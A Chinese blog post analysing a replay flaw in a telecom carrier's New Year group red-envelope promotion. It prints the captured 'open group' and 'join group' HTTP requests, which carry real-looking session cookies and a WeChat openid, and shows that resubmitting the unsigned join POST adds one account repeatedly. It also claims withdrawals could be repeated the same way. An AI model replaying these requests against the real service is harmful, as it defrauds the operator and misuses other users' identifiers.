剖析某联通新年活动Bug(竟能无限提现)

临近新年。各大互联网企业活动五花八门,刚好晚上有个某联通的新年活动。

活动规则是:4个人组团,就可以瓜分现金红包。

活动本身没什么问题,看似挺正常,但是,看到下面的图你就不会这么想了。

是的,是在同一时间提现的。而该活动的提现理应如下:

按理是只有一份1.13元,那为什么会出现图一的情况。

我们看看活动流程的第一步,

第一步,是拉取4个人。 而问题在这个时候就已经出现了。

抓取代码之后梳理如下:

GET http://******/openHbGroup.do HTTP/1.1
Host: wx.bbn.com.cn
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; MI 6 Build/OPR1.170623.027; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044432 Mobile Safari/537.36 MMWEBID/1697 MicroMessenger/7.0.1380(0x2700003C) Process/tools NetType/WIFI Language/zh_CN
Referer: http://wx.bbn.com.cn/wx/service/exceptsub/hbgroup/index.jsp?busitype=mygroup
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.9
Cookie: SESSION=16ec155c-b0f1-4859-919d-efc7e1b74088

返回如下:
{"rCode":"000000","rMsg":"开团成功!","rObj":{"batch":"2019HbGroup","channel":"76459538690i","createtime":"2019-01-29 20:23:30","fullStatus":"0","headimg":"http://thirdwx.qlogo.cn/mmopen/qqXo2pDsXDic4ATqOhHWdXib0EScFhtN8tCZ2wr948k4GtN3hygy2IwWNZDhNtGdiaZJTdNupXwbgOib04ObdSaVSdj3gZgYaricp/132","id":"123243","lineNum":"","memo":"自己开团成功","memo2":"","money":"0","nickname":"难以置信的人","openid":"oMLP9jhqN2I8o3gVDMSM9uwMYN8U","pageNo":"","phone":"","receiveStatus":"0","receivetime":"","status":"1","totalNum":"","totalPage":"","tradeNo":""}}

上面是一个正常的开团代码。

标记这行:"channel":"76459538690i"

POST http://******/joinHbGroup.do HTTP/1.1
Host: wx.bbn.com.cn
Connection: keep-alive
Content-Length: 61
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://wx.bbn.com.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; MI 6 Build/OPR1.170623.027; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044432 Mobile Safari/537.36 MMWEBID/4633 MicroMessenger/7.0.1380(0x2700003C) Process/tools NetType/WIFI Language/zh_CN
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,en-US;q=0.9
Cookie: SESSION=fd77ecb4-01bb-4737-8fb8-bb7c3f009dad; JSESSIONID=54539EEED2F9008BB2A8611595D3A0B6.app3

shareopenid=oMLP9jhqN2I8o3gVDMSM9uwMYN8U&channel=76459538690i

而这个是拼团代码,发现问题了,拼团post所提交的数据仅仅只有

shareopenid=oMLP9jhqN2I8o3gVDMSM9uwMYN8U&channel=76459538690i

第一行是微信的分享开放ID,即主账号的分享ID,可以无视,而后面的从channel就是开团中独一无二的团号(我觉得这样形容很形象) 再看看无论是cookies还是post提交数据中没有任何sign之类的校验码,也就是说。这个拼团,完全不会判断是否是一个有效用户参与了拼团。

我们重复提交这个post

再看看拼团,一个团里 有三个同样的账号参与了(其实我手抽发送了四次,居然显示拼团内人数为-1人)

上面的仅仅是一个例子,这个活动无论是拼团还是参团,甚至是提现都类似这种毫无验证的提交,(由于提现涉及法律,不提供剖析)

至于提现方面,个人认为是该公司的程序员忘记了写事物回滚,加上毫无验证,就可以实现无限提现。。。

本文作者:年轮

本文链接:https://bk.google2015.cn/%e5%89%96%e6%9e%90%e6%9f%90%e8%81%94%e9%80%9a%e6%96%b0%e5%b9%b4%e6%b4%bb%e5%8a%a8bug%ef%bc%88%e6%97%a0%e9%99%90%e6%8f%90%e7%8e%b0%ef%bc%9f%ef%bc%89/

版权声明:请勿用于非法用途
上一篇
下一篇